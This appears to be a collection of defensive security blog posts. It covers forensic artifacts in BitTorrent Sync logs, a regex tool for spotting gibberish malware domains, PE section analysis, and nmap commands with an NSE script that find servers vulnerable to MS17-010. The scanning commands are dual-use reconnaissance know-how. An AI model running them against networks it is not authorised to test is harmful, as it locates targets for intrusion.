Allows a practitioner to identify the device names of the peer devices.	[2015-04-05 09:05:32] SF[B5E2] [A2B5]: Got id message from peer WIN-KMM6MUN4701 (10DEC8109E524439D9454ABE2BB1475BF7D5A2B5) 2.0.93 [2015-04-17 12:51:19] MD[A965]: new device found WIN-KMM6MUN4701 (CDPMQEE6KJCDTWKFJK7CXMKHLP35LIVV)
Since most peer IDs are stored in base32 format in the metadata and configuration files, these log entries would provide a potential method for identification of the actual (non-encoded) peer IDs from the device names.	[2015-04-05 09:05:32] SF[B5E2] [A2B5]: Got id message from peer WIN-KMM6MUN4701 (10DEC8109E524439D9454ABE2BB1475BF7D5A2B5) 2.0.93 [2015-04-15 12:30:31] SD[4F11]: Got ping (broadcast: 1) from peer 192.168.220.146:50523 (107C1CFB546B565559FE2929E7B7C8804E7302F0) [2015-04-17 12:51:19] MD[A965]: new device found WIN-KMM6MUN4701 (CDPMQEE6KJCDTWKFJK7CXMKHLP35LIVV) [2015-04-17 12:51:19] API: callback id=19, value="{ "value": {"peerid":"CDPMQEE6KJCDTWKFJK7CXMKHLP35LIVV"}}", can_deferred=0, _delegate=0x1c57d48…
May assist the practitioner in determining the share IDs for the shared folders added.	[2015-04-05 11:37:54] SSLEH[0x15fa28b0]: hello packet { share:6C25389E651AC160F91ECAF3D9A249C58F6BED15 } has been sent [2015-04-05 11:37:54] SSLEH[0x08e849e8]: received hello packet, { share:6C25389E651AC160F91ECAF3D9A249C58F6BED15 } [2015-04-05 11:47:58] Requesting peers from tracker 52.1.1.135:3000 for share 6C25389E651AC160F91ECAF3D9A249C58F6BED15
Enables identification of the shared folder names/IDs created on the device under investigation.	[2015-04-04 20:36:45] FC[B5E2]: started periodic scan for "\\?\C:\Sync" [2015-04-05 11:37:57] MD[A965]: [apply] Processing folder "Sync" (-2775350472753142605)
Assists the practitioner in determining the synced filenames or folder names as well as the addition/creation times.	[2015-04-05 08:24:17] JOURNAL[22F5]: new torrent created for file Enron3111.txt mt:1418488391 9603FC44BB0F59A822FA3331A1802F880ABA583B [2015-04-05 08:24:17] JOURNAL[22F5]: setting time for file "\\?\C:\Sync\Enron3111.txt" to 1428193457 [2015-04-05 08:24:17] JOURNAL[22F5]: insert file "\\?\C:\Sync\Enron3111.txt" = 131072:22982 …
Informs the practitioner folder names for the deleted folders as well as the deletion times.	[2015-06-28 23:41:17] Folder being removed from this device and the files at '\\?\C:\Sync' are being removed.
Allows the practitioner to determine the local identity’s disconnection time.	[2015-04-05 09:12:01] Master Folder Controller: disconnect master folder

Table 2: Records of BitTorrent Sync’s Application Programming Interface (API) response bodies (in JSON format) of forensic interest from sync.log.

Relevance	Examples of log entries obtained in our research
Provides the practitioner details about the device under investigation such as the peer ID, device name, last online time, last sync completed time, and folder IDs for the shared folders created/added.	[2015-04-05 09:11:53] API: <-- getmfdevices({ "status": 200, "value": [{ "aod": false, "devicename": "WIN-KMM6MUN4701", "folders": [ { "added": true, "id": -7338009380596345790, "mode": 1 }, { "added": true, "id": 3964779361527927184, "mode": 1 }, { "added": true, "id": 4780923171276619705, "mode": 1 }, { "added": true, "id": 5471258729987051831, "mode": 1 } ], "id": "CDPMQEE6KJCDTWKFJK7CXMKHLP35LIVV", "lastseen": 1428196287, "lastsynccompleted": 1428196287, "name": "WIN-KMM6MUN4701", "online": true, "self": false, "syncerr": 0, "syncerrmsg": "", "userid": "" } ] })…
Assists the practitioner in determining the pending user requests sent to the device under investigation including the folder IDs (if any), the times when the requests were sent, access permissions, as well as the requester’s IP addresses and certificate fingerprints.	[2015-04-03 16:51:48] API: <-- getpendingrequests({ "status": 200, "value": [ { "access_level": 3, "id": "5471258729987051831", "ip": "192.168.220.176", "license": false, "readwrite": true, "time": 1428051108, "user_identity": { "devicename": "device", "fingerprint": "2UMI566O3XAE7BB2V3N3YWWECJ3TCGJHMRGZTVLN2SZY276QI4AQ", "username": "Guest" } } ] })…
May assist a practitioner in determining the folder names, folder IDs, storage paths, folder sizes, timestamp information, as well as peer device names, peer IDs, and fingerprints associated with the shared folders added by or downloaded to the device under investigation.	[2015-04-05 09:05:37] API: <-- getsyncfolders({ "folders": [ { "access": 4, "archive": "C:\\Sync\\.sync\\Archive", "archive_files": 3, "archive_size": 153187, "date_added": 1428049323, "down_eta": 0, "down_speed": 0, "down_status": 100, "error": 0, "files": 3, "folderid": "5471258729987051831", "has_key": true, "indexing": false, "ismanaged": true, "iswritable": true, "last_modified": 1428053450, "name": "Sync", "path": "C:\\Sync", "paused": false, "peers": [ { "direct": true, "downdiff": 0, "id": "10DEC8109E524439D9454ABE2BB1475BF7D5A2B5", "isonline": true, "lastreceivedtime": 0, "lastsenttime": 1428051120, "lastsynctime": 1428051129, "name": "WIN-KMM6MUN4701", "updiff": 0, "userid": "UQO52P4G5O2QU6OOGX3AS7R6RUAU22JBBWJ4H2CYNXHRO3KIRVBQ" }], "size": 321638, "status": "314.0 kB in 3 files", "stopped": false, "synclevel": 2, "up_eta": 0, "up_speed": 0, "up_status": 100, "users": [{ "access": 3, "id": "2UMI566O3XAE7BB2V3N3YWWECJ3TCGJHMRGZTVLN2SZY276QI4AQ", "name": "Guest" } ] }, …
Informs the practitioner the storage path for the device under investigation.	[2015-04-03 16:43:13] API: <-- getfoldersstoragepath({ "status": 200, "value": "C:\\Users\\anonymous\\BitTorrent Sync" }) [2015-04-05 09:05:33] API: <-- setfoldersstoragepath({ "path": "C:\\Users\\anonymous\\BitTorrent Sync", "status": 200 })
Allows the practitioner to identify the folder name, path, and timestamp references for the shared folders added by the device under investigation.	[2015-04-04 20:27:22] API: --> addsyncfolder(path=C%3A%5CSync&selectivesync=false&t=1428150442927)
Contains copy of history.dat file (see section 4.1) at the time of request.	[2015-04-05 08:33:06] API: <-- history({ "status": 200, "value": [{ "id": 39, "msg": "WIN-KMM6MUN4701 updated file Enron3111.zip", "time": 1428193777 }, { "id": 38, "msg": "WIN-KMM6MUN4701 updated file Enron3111.txt", "time": 1428193777 }, { "id": 37, "msg": "Remote peer removed file Enron3111.rtf", "time": 1428193777 }, { "id": 13, "msg": "Added file Enron3111.docx", "time": 1428153859 }…

 

The next post discuss about BitTorrentSync v.2 evidence retrievable from physical memory.

 

I often have to go through lists of domains or URLs, and filter out domains that look like random strings of characters (and could thus have been generated by malware using an algorithm).

That's one of the reasons I developed my re-search.py tool. re-search is a tool to search through (text) files with regular expressions. Regular expressions can not be used to identify strings that look random, that's why re-search has methods to enhance regular expressions with this capability.

We will use this list of URLs in our example:
http://didierstevens.com
http://zcczjhbczhbzhj.com
http://www.google.com
http://ryzaocnsyvozkd.com
http://www.microsoft.com
http://ahsnvyetdhfkg.com

Here is an example to extract alphabetical .com domains from file list.txt with a regular expression:
re-search.py [a-z]+\.com list.txt

Output:
didierstevens.com
zcczjhbczhbzhj.com
google.com
ryzaocnsyvozkd.com
microsoft.com
ahsnvyetdhfkg.com

Detecting random looking domains is done with a method I call "gibberish detection", and it is implemented by prefixing the regular expression with a comment. Regular expressions can contain comments, like programming languages. This is a comment for regular expressions: (?#comment).

If you use re-search with regular expression comments, nothing special happens:
re-search.py "(?#comment)[a-z]+\.com" list.txt

However, if your regular expression comment prefixes the regular expression, and the comment starts with keyword extra=, then you can use gibberish detection (and other methods, use re-search.py -m for a complete manual).
To use gibberisch detection, you use directive S (S stands for sensical). If you want to filter all strings that match the regular expression and are gibberish, you use the following regular expression comment: (?#extra=S:g). :g means that you want to filter for gibberish.

Here is an example to extract alphabetical .com domains from file list.txt with a regular expression that are gibberish:
re-search.py "(?#extra=S:g)[a-z]+\.com" list.txt

Output:
zcczjhbczhbzhj.com
ryzaocnsyvozkd.com
ahsnvyetdhfkg.com

If you want to filter all strings that match the regular expression and are not gibberish, you use the following regular expression comment: (?#extra=S:s). :s means that you want to filter for sensical strings.

Classifying a string as gibberish or not, is done with a set of classes that I developed based on work done by rrenaud at https://github.com/rrenaud/Gibberish-Detector. The training text is a public domain book in the Sherlock Holmes series. This means that English text is used for gibberish classification. You can provide your own trained pickle file with option -s.

 

 

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

PE files (.exe, .dll, ...) have sections: a section with code, one with data, ... Each section has a name, and different compilers use different section names. Section names can help us identify the compiler and the type of PE file we are analyzing.

@Hexacorn compiled a list of section names with corresponding description, you can find the latest version here. I find this list so useful, that I included it (with permission) in my pecheck.py tool. pecheck is a Python tool to analyze PE files, based on Ero Carrera's pefile module. Use -o s (overview of sections) to see the sections, with name, size, entropy and description:

Didier Stevens
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

With both WannaCry and NotPetya using MS17-010 for propagation it is important to be able to detect servers which are vulnerable.  Even if you have comprehensive vulnerability management and patching programs there are almost certainly servers that have been missed, whether because they are vendor supported or part of your company's cottage IT.  It is important to be able to find those servers and either remediate them or put additonal controls in place to protect them.

My fall back to do any kind of discovery scanning is always nmap.  It is easy enough to identify devices that have SMB open using nmap.

nmap -Pn -p445 <ip-netblock>

Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-30 23:40 EDT

Nmap scan report for ...

Host is up (0.11s latency).

PORT    STATE SERVICE

445/tcp open  microsoft-ds

 

While detecting SMB is the first step, there are legitimate reasons why a server may have SMB open. For the specific case of finding servers that are vulnerable to MS17-010 we need to dig a bit deeper.

Fortunately, Paulino Calderon has created an nmap NSE script which will reliably detect MS17-010.  The script is not part of the standard nmap NSE scripts, so you will need to go and grab the smb-vuln-ms17-010 script from github and place it into the NSE scripts directory before you can use it (on linux that directory is /usr/share/nmap/scripts/)

This is the nmap command line that seems to work best with this nse script.  (with thanks to Neo23x0)

nmap  -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms17-010  <ip_netblock>

When the scan finds a server with SMB open and not vulnerable to MS17-010 then the output looks identical to the previous scan however a vulnerable server will generate additional output.

Starting Nmap 7.40 ( https://nmap.org ) at 2017-07-01 11:13 EDT

Nmap scan report for ...

Host is up (0.23s latency).

PORT    STATE SERVICE

445/tcp open  microsoft-ds

 

Host script results:

| smb-vuln-ms17-010: 

|   VULNERABLE:

|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)

|     State: VULNERABLE

|     IDs:  CVE:CVE-2017-0143

|     Risk factor: HIGH

|       A critical remote code execution vulnerability exists in Microsoft SMBv1

|        servers (ms17-010).

|       

|     Disclosure date: 2017-03-14

|     References:

|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

 

UPDATE: It was pointed out that a version of this script was packaged with the 7.50 version of nmap that was released in mid-June.  For those of you who are not yet on the 7.50 version (like me) you can get the packaged version of the script from the nmap svn repository.  The packaged version is slightly different than the one on github.

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)